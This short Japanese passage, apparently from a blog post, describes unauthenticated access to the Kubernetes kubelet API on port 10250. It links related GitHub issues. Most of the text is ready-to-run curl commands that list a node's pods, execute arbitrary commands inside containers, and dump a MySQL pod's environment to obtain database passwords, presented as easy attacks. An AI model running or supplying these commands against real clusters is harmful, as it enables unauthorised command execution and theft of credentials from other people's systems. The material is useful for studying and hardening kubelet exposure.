kubelet
apiserver
に通信するkubelet
サービスは、ポート10250でリッスンします。このポートは証明書を使用しますが、チャネル暗号化のみを使用し、認証はありません。
この問題は長い間知られていますが、何らかの理由で誰もそれを深刻だとは考えません。 ディスカッションへのリンク:
- https://github.com/kubernetes/kubernetes/issues/3168
- https://github.com/kubernetes/kubernetes/issues/7965
- https://github.com/kubernetes/kubernetes/issues/11816
これで何ができますか? 実質的にすべて。 登録とSMSはありません。
すべてのポッドのリストを取得します。
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool
コンテナ内でコマンドを実行しますか? 簡単に:
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"
データベースのパスワードを取得しますか? それと同じくらい簡単:
$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'
データをそこから引き出すことも難しくありません。